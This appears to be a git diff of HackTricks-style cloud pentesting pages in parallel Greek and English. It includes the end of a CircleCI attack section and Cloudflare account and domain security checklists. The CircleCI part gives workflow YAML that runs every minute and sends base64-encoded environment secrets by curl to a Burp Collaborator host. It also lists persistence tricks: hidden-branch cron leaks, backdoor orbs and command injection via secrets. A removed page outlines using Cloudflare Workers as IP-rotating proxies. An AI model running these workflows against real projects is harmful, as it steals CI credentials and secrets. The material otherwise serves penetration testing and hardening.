workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Εξαγωγή Μυστικών Πλαισίου
Πρέπει να **καθορίσετε το όνομα του πλαισίου** (αυτό θα εξάγει επίσης τα μυστικά του έργου):
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
Αν **δεν έχετε πρόσβαση στην κονσόλα ιστού** αλλά έχετε **πρόσβαση στο repo** και γνωρίζετε ότι χρησιμοποιείται το CircleCI, μπορείτε απλά να **τροποποιήσετε μια ροή εργασίας** που **ενεργοποιείται κάθε λεπτό** και που **εξάγει τα μυστικά σε μια εξωτερική διεύθυνση**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Απλώς η δημιουργία ενός νέου `.circleci/config.yml` σε ένα repo **δεν είναι αρκετή για να ενεργοποιήσει μια κατασκευή circleci**. Πρέπει να **το ενεργοποιήσετε ως έργο στην κονσόλα circleci**.
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
#### Escape to Cloud
**CircleCI** σας δίνει την επιλογή να εκτελείτε **τις κατασκευές σας στις μηχανές τους ή στις δικές σας**.\
Από προεπιλογή, οι μηχανές τους βρίσκονται στο GCP, και αρχικά δεν θα μπορείτε να βρείτε τίποτα σχετικό. Ωστόσο, αν ένα θύμα εκτελεί τις εργασίες στις **δικές του μηχανές (πιθανώς, σε ένα περιβάλλον cloud)**, μπορεί να βρείτε ένα **cloud metadata endpoint με ενδιαφέροντα πληροφορίες πάνω του**.
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
Σημειώστε ότι στα προηγούμενα παραδείγματα όλα εκκινούνταν μέσα σε ένα κοντέινερ docker, αλλά μπορείτε επίσης να **ζητήσετε να εκκινήσετε μια VM μηχανή** (η οποία μπορεί να έχει διαφορετικές άδειες cloud):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Ή ακόμα και ένα κοντέινερ docker με πρόσβαση σε μια απομακρυσμένη υπηρεσία docker:
Or even a docker container with access to a remote docker service:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Επιμονή
- Είναι δυνατόν να **δημιουργήσετε** **tokens χρηστών στο CircleCI** για να έχετε πρόσβαση στα API endpoints με την πρόσβαση των χρηστών.
- _https://app.circleci.com/settings/user/tokens_
- Είναι δυνατόν να **δημιουργήσετε tokens έργων** για να έχετε πρόσβαση στο έργο με τις άδειες που δίνονται στο token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Είναι δυνατόν να **προσθέσετε SSH κλειδιά** στα έργα.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Είναι δυνατόν να **δημιουργήσετε μια εργασία cron σε κρυφό κλάδο** σε ένα απροσδόκητο έργο που **διαρρέει** όλες τις **μεταβλητές περιβάλλοντος** καθημερινά.
- Ή ακόμα και να δημιουργήσετε σε έναν κλάδο / να τροποποιήσετε μια γνωστή εργασία που θα **διαρρέει** όλα τα μυστικά του **έργου** καθημερινά.
- Αν είστε ιδιοκτήτης του github μπορείτε να **επιτρέψετε μη επαληθευμένα orbs** και να ρυθμίσετε ένα σε μια εργασία ως **πίσω πόρτα**.
- Μπορείτε να βρείτε μια **ευπάθεια εκτέλεσης εντολών** σε κάποια εργασία και να **εισάγετε εντολές** μέσω ενός **μυστικού** τροποποιώντας την τιμή του.
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,23 +2,23 @@
{{#include ../../banners/hacktricks-training.md}}
Σε έναν λογαριασμό Cloudflare υπάρχουν κάποιες **γενικές ρυθμίσεις και υπηρεσίες** που μπορούν να διαμορφωθούν. Σε αυτή τη σελίδα θα **αναλύσουμε τις ρυθμίσεις σχετικές με την ασφάλεια κάθε ενότητας:**
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
Ελέγξτε κάθε μία με:
Review each with:
{{#ref}}
cloudflare-domains.md
{{#endref}}
### Καταχώρηση Domain
### Domain Registration
- [ ] Στο **`Transfer Domains`** ελέγξτε ότι δεν είναι δυνατό να μεταφερθεί κανένα domain.
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
Ελέγξτε κάθε μία με:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -30,41 +30,35 @@ _I couldn't find anything to check for a config security review._
## Pages
Σε κάθε σελίδα του Cloudflare:
On each Cloudflare's page:
- [ ] Ελέγξτε για **ευαίσθητες πληροφορίες** στο **`Build log`**.
- [ ] Ελέγξτε για **ευαίσθητες πληροφορίες** στο **Github repository** που είναι ανατεθειμένο στα Pages.
- [ ] Ελέγξτε για πιθανή συμβιβασμό του Github repo μέσω **workflow command injection** ή `pull_request_target` compromise. Περισσότερες πληροφορίες στη σελίδα [**Github Security page**](../github-security/index.html).
- [ ] Ελέγξτε για **vulnerable functions** στον κατάλογο `/fuctions` (εάν υπάρχουν), ελέγξτε τα **redirects** στο αρχείο `_redirects` (εάν υπάρχει) και για **λανθασμένα ρυθμισμένους headers** στο αρχείο `_headers` (εάν υπάρχει).
- [ ] Ελέγξτε για **ευπάθειες** στην **web page** μέσω **blackbox** ή **whitebox** αν μπορείτε να **έχετε πρόσβαση στον κώδικα**
- [ ] Στις λεπτομέρειες κάθε σελίδας `/<page_id>/pages/view/blocklist/settings/functions`. Ελέγξτε για **ευαίσθητες πληροφορίες** στις **`Environment variables`**.
- [ ] Στη σελίδα λεπτομερειών ελέγξτε επίσης την **build command** και το **root directory** για **ενδεχόμενες injections** που θα μπορούσαν να οδηγήσουν σε συμβιβασμό της σελίδας.
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
## **Workers**
Σε κάθε worker του Cloudflare ελέγξτε:
On each Cloudflare's worker check:
- [ ] Τα triggers: Τι κάνει τον worker να ενεργοποιηθεί; Μπορεί ένας **χρήστης να στείλει δεδομένα** που θα **χρησιμοποιηθούν** από τον worker;
- [ ] Στις **`Settings`**, ελέγξτε για **`Variables`** που περιέχουν **ευαίσθητες πληροφορίες**
- [ ] Ελέγξτε τον **κώδικα του worker** και αναζητήστε **ευπάθειες** (ειδικά σε σημεία όπου ο χρήστης μπορεί να διαχειριστεί την είσοδο)
- Ελέγξτε για SSRFs που επιστρέφουν τη συγκεκριμένη σελίδα που μπορείτε να ελέγξετε
- Ελέγξτε για XSSs που εκτελούν JS μέσα σε εικόνα svg
- Είναι πιθανό ο worker να αλληλεπιδρά με άλλες εσωτερικές υπηρεσίες. Για παράδειγμα, ένας worker μπορεί να αλληλεπιδρά με ένα R2 bucket που αποθηκεύει πληροφορίες σε αυτό οι οποίες λαμβάνονται από την είσοδο. Σε αυτή την περίπτωση, είναι απαραίτητο να ελέγξετε ποιες δυνατότητες έχει ο worker πάνω στο R2 bucket και πώς μπορούν να καταχραστούν από την είσοδο χρήστη.
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Σημειώστε ότι εξ ορισμού ένας **Worker δίνεται ένα URL** όπως `<worker-name>.<account>.workers.dev`. Ο χρήστης μπορεί να το ορίσει σε ένα **subdomain** αλλά μπορείτε πάντα να το προσπελάσετε με αυτό το **original URL** αν το γνωρίζετε.
Για πρακτική κατάχρηση των Workers ως pass-through proxies (IP rotation, FireProx-style), δείτε:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
## R2
Σε κάθε R2 bucket ελέγξτε:
On each R2 bucket check:
- [ ] Ρυθμίστε την **CORS Policy**.
- [ ] Configure **CORS Policy**.
## Stream
@@ -76,8 +70,8 @@ TODO
## Security Center
- [ ] Εάν είναι δυνατόν, τρέξτε ένα **`Security Insights`** **scan** και ένα **`Infrastructure`** **scan**, καθώς θα **αναδείξουν** ενδιαφέρουσες πληροφορίες από άποψη **ασφάλειας**.
- [ ] Απλώς **ελέγξτε αυτές τις πληροφορίες** για λανθασμένες ρυθμίσεις ασφαλείας και ενδιαφέροντα στοιχεία
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
## Turnstile
@@ -92,49 +86,52 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) είναι ουσιαστικά στατικές — δεν υποστηρίζουν καμία λειτουργία αντικατάστασης συμβολοσειρών ή regular expressions. Ωστόσο, μπορείτε να διαμορφώσετε παραμέτρους redirect URL που επηρεάζουν τη συμπεριφορά αντιστοίχισης URL και τη συμπεριφορά τους κατά την εκτέλεση.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Ελέγξτε ότι οι **expressions** και οι **requirements** για τα redirects **βγάζουν νόημα**.
- [ ] Ελέγξτε επίσης για **ευαίσθητα κρυφά endpoints** που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
## Notifications
- [ ] Ελέγξτε τις **ειδοποιήσεις.** Αυτές οι ειδοποιήσεις συνιστώνται για σκοπούς ασφάλειας:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Ελέγξτε όλους τους **προορισμούς**, καθώς μπορεί να υπάρχει **ευαίσθητη πληροφορία** (basic http auth) σε webhook urls. Βεβαιωθείτε επίσης ότι τα webhook urls χρησιμοποιούν **HTTPS**
- [ ] Ως επιπλέον έλεγχο, μπορείτε να προσπαθήσετε να **προσποιηθείτε μια ειδοποίηση του Cloudflare** σε τρίτο μέρος — ίσως με κάποιο τρόπο να καταφέρετε να **εισάγετε κάτι επικίνδυνο**
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Manage Account
- [ ] Είναι δυνατό να δείτε τα **τελευταία 4 ψηφία της πιστωτικής κάρτας**, την **ημερομηνία λήξης** και τη **διεύθυνση χρέωσης** στο **`Billing` -> `Payment info`**.
- [ ] Είναι δυνατό να δείτε τον **τύπο πλάνου** που χρησιμοποιείται στο λογαριασμό στο **`Billing` -> `Subscriptions`**.
- [ ] Στο **`Members`** είναι δυνατό να δείτε όλα τα μέλη του λογαριασμού και τον ρόλο τους. Σημειώστε ότι αν ο τύπος πλάνου δεν είναι Enterprise, υπάρχουν μόνο 2 ρόλοι: Administrator και Super Administrator. Αλλά αν το χρησιμοποιούμενο **πλάνο είναι Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) μπορούν να χρησιμοποιηθούν για να ακολουθηθεί η αρχή των ελάχιστων προνομίων.
- Επομένως, όπου είναι δυνατόν **συνιστάται** η χρήση του **Enterprise plan**.
- [ ] Στους Members είναι δυνατό να ελέγξετε ποια **μέλη** έχουν ενεργοποιημένο **2FA**. **Κάθε** χρήστης θα πρέπει να το έχει ενεργοποιημένο.
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
> Σημειώστε ότι ευτυχώς ο ρόλος **`Administrator`** δεν δίνει δικαιώματα διαχείρισης μελών (**δεν μπορεί να ανεβάσει προνόμια ή να προσκαλέσει** νέα μέλη)
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
## DDoS Investigation
[Ελέγξτε αυτό το μέρος](cloudflare-domains.md#cloudflare-ddos-protection).
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
Σε κάθε TLD που έχει ρυθμιστεί στο Cloudflare υπάρχουν κάποιες **γενικές ρυθμίσεις και υπηρεσίες** που μπορούν να ρυθμιστούν. Σε αυτή τη σελίδα θα **αναλύσουμε τις ρυθμίσεις που σχετίζονται με την ασφάλεια κάθε ενότητας:**
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Overview
- [ ] Αποκτήστε μια αίσθηση του **πόσο** χρησιμοποιούνται οι υπηρεσίες του λογαριασμού
- [ ] Βρείτε επίσης το **zone ID** και το **account ID**
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
### Analytics
- [ ] Στην **`Security`** ελέγξτε αν υπάρχει κάποιος **Rate limiting**
- [ ] In **`Security`** check if there is any **Rate limiting**
### DNS
- [ ] Ελέγξτε **ενδιαφέροντα** (ευαίσθητα;) δεδομένα στα DNS **records**
- [ ] Ελέγξτε για **subdomains** που θα μπορούσαν να περιέχουν **ευαίσθητες πληροφορίες** μόνο με βάση το **όνομα** (όπως admin173865324.domin.com)
- [ ] Ελέγξτε για ιστοσελίδες που **δεν είναι** **proxied**
- [ ] Ελέγξτε για **proxified web pages** που μπορούν να **προσεγγιστούν απευθείας** μέσω CNAME ή διεύθυνσης IP
- [ ] Ελέγξτε ότι το **DNSSEC** είναι **ενεργοποιημένο**
- [ ] Ελέγξτε ότι το **CNAME Flattening** είναι **χρησιμοποιούμενο** σε **όλα τα CNAMEs**
- Αυτό μπορεί να είναι χρήσιμο για να **κρύψει τις ευπάθειες κατάληψης subdomain** και να βελτιώσει τους χρόνους φόρτωσης
- [ ] Ελέγξτε ότι οι τομείς [**δεν είναι ευάλωτοι σε spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **Email**
@@ -38,44 +38,44 @@ TODO
#### **Overview**
- [ ] Η **κρυπτογράφηση SSL/TLS** θα πρέπει να είναι **Full** ή **Full (Strict)**. Οποιαδήποτε άλλη θα στείλει **clear-text traffic** σε κάποιο σημείο.
- [ ] Ο **SSL/TLS Recommender** θα πρέπει να είναι ενεργοποιημένος
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
#### Edge Certificates
- [ ] **Always Use HTTPS** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **HTTP Strict Transport Security (HSTS)** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **Η ελάχιστη έκδοση TLS θα πρέπει να είναι 1.2**
- [ ] **TLS 1.3 θα πρέπει να είναι ενεργοποιημένο**
- [ ] **Automatic HTTPS Rewrites** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **Certificate Transparency Monitoring** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
### **Security**
- [ ] Στην ενότητα **`WAF`** είναι ενδιαφέρον να ελέγξετε ότι οι **κανόνες Firewall** και **rate limiting χρησιμοποιούνται** για την πρόληψη καταχρήσεων.
- Η ενέργεια **`Bypass`** θα **απενεργοποιήσει τις δυνατότητες ασφάλειας του Cloudflare** για ένα αίτημα. Δεν θα πρέπει να χρησιμοποιείται.
- [ ] Στην ενότητα **`Page Shield`** συνιστάται να ελέγξετε ότι είναι **ενεργοποιημένο** αν χρησιμοποιείται κάποια σελίδα
- [ ] Στην ενότητα **`API Shield`** συνιστάται να ελέγξετε ότι είναι **ενεργοποιημένο** αν εκτίθεται κάποια API στο Cloudflare
- [ ] Στην ενότητα **`DDoS`** συνιστάται να ενεργοποιήσετε τις **προστασίες DDoS**
- [ ] Στην ενότητα **`Settings`**:
- [ ] Ελέγξτε ότι το **`Security Level`** είναι **medium** ή μεγαλύτερο
- [ ] Ελέγξτε ότι το **`Challenge Passage`** είναι 1 ώρα το μέγιστο
- [ ] Ελέγξτε ότι το **`Browser Integrity Check`** είναι **ενεργοποιημένο**
- [ ] Ελέγξτε ότι η **`Privacy Pass Support`** είναι **ενεργοποιημένη**
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
#### **CloudFlare DDoS Protection**
- Αν μπορείτε, ενεργοποιήστε το **Bot Fight Mode** ή το **Super Bot Fight Mode**. Αν προστατεύετε κάποια API που προσπελάζεται προγραμματισμένα (από μια σελίδα JS front end για παράδειγμα). Μπορεί να μην μπορείτε να το ενεργοποιήσετε χωρίς να σπάσετε αυτή την πρόσβαση.
- Στο **WAF**: Μπορείτε να δημιουργήσετε **rate limits κατά URL path** ή για **verified bots** (κανόνες rate limiting), ή να **μπλοκάρετε την πρόσβαση** με βάση IP, Cookie, referrer...). Έτσι μπορείτε να μπλοκάρετε αιτήματα που δεν προέρχονται από μια ιστοσελίδα ή δεν έχουν cookie.
- Αν η επίθεση προέρχεται από έναν **verified bot**, τουλάχιστον **προσθέστε ένα rate limit** στους bots.
- Αν η επίθεση είναι σε ένα **συγκεκριμένο path**, ως μηχανισμός πρόληψης, προσθέστε ένα **rate limit** σε αυτό το path.
- Μπορείτε επίσης να **whitelist** διευθύνσεις IP, εύρη IP, χώρες ή ASNs από τα **Tools** στο WAF.
- Ελέγξτε αν οι **Managed rules** θα μπορούσαν επίσης να βοηθήσουν στην πρόληψη εκμεταλλεύσεων ευπαθειών.
- Στην ενότητα **Tools** μπορείτε να **μπλοκάρετε ή να δώσετε μια πρόκληση σε συγκεκριμένες IPs** και **user agents.**
- Στο DDoS μπορείτε να **παρακάμψετε κάποιους κανόνες για να τους κάνετε πιο περιοριστικούς**.
- **Settings**: Ρυθμίστε το **Security Level** σε **High** και σε **Under Attack** αν είστε Under Attack και ότι το **Browser Integrity Check είναι ενεργοποιημένο**.
- Στο Cloudflare Domains -> Analytics -> Security -> Ελέγξτε αν είναι ενεργοποιημένο το **rate limit**
- Στο Cloudflare Domains -> Security -> Events -> Ελέγξτε για **ανιχνευμένα κακόβουλα Events**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
### Access
@@ -85,15 +85,15 @@ cloudflare-zero-trust-network.md
### Speed
_Δεν μπόρεσα να βρω καμία επιλογή σχετική με την ασφάλεια_
_I couldn't find any option related to security_
### Caching
- [ ] Στην ενότητα **`Configuration`** σκεφτείτε να ενεργοποιήσετε το **CSAM Scanning Tool**
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
### **Workers Routes**
_Θα έπρεπε ήδη να έχετε ελέγξει_ [_cloudflare workers_](#workers)
_You should have already checked_ [_cloudflare workers_](#workers)
### Rules
@@ -101,9 +101,9 @@ TODO
### Network
- [ ] Αν το **`HTTP/2`** είναι **ενεργοποιημένο**, το **`HTTP/2 to Origin`** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] **`HTTP/3 (with QUIC)`** θα πρέπει να είναι **ενεργοποιημένο**
- [ ] Αν η **ιδιωτικότητα** των **χρηστών** σας είναι σημαντική, βεβαιωθείτε ότι το **`Onion Routing`** είναι **ενεργοποιημένο**
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
- [ ] If the **privacy** of your **users** is important, make sure **`Onion Routing`** is **enabled**
### **Traffic**
@@ -111,7 +111,7 @@ TODO
### Custom Pages
- [ ] Είναι προαιρετικό να ρυθμίσετε προσαρμοσμένες σελίδες όταν προκληθεί ένα σφάλμα σχετικό με την ασφάλεια (όπως μπλοκάρισμα, rate limiting ή είμαι σε κατάσταση επίθεσης)
- [ ] It's optional to configure custom pages when an error related to security is triggered (like a block, rate limiting or I'm under attack mode)
### Apps
@@ -119,8 +119,8 @@ TODO
### Scrape Shield
- [ ] Ελέγξτε ότι η **Email Address Obfuscation** είναι **ενεργοποιημένη**
- [ ] Ελέγξτε ότι οι **Server-side Excludes** είναι **ενεργοποιημένες**
- [ ] Check **Email Address Obfuscation** is **enabled**
- [ ] Check **Server-side Excludes** is **enabled**
### **Zaraz**
@@ -131,3 +131,6 @@ TODO
TODO
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,286 +0,0 @@
# Κατάχρηση Cloudflare Workers ως pass-through proxies (IP rotation, FireProx-style)
{{#include ../../banners/hacktricks-training.md}}
Cloudflare Workers μπορούν να αναπτυχθούν ως διαφανείς HTTP pass-through proxies όπου το upstream target URL παρέχεται από τον client. Τα requests εξέρχονται από το δίκτυο της Cloudflare, οπότε ο στόχος βλέπει Cloudflare IPs αντί για τα IPs του client. Αυτό αντικατοπτρίζει την γνωστή τεχνική FireProx στο AWS API Gateway, αλλά χρησιμοποιεί Cloudflare Workers.
### Key capabilities
- Support for all HTTP methods (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
- Target can be supplied via query parameter (?url=...), a header (X-Target-URL), or even encoded in the path (e.g., /https://target)
- Headers and body are proxied through with hop-by-hop/header filtering as needed
- Responses are relayed back, preserving status code and most headers
- Optional spoofing of X-Forwarded-For (if the Worker sets it from a user-controlled header)
- Extremely fast/easy rotation by deploying multiple Worker endpoints and fanning out requests
### Πώς λειτουργεί (flow)
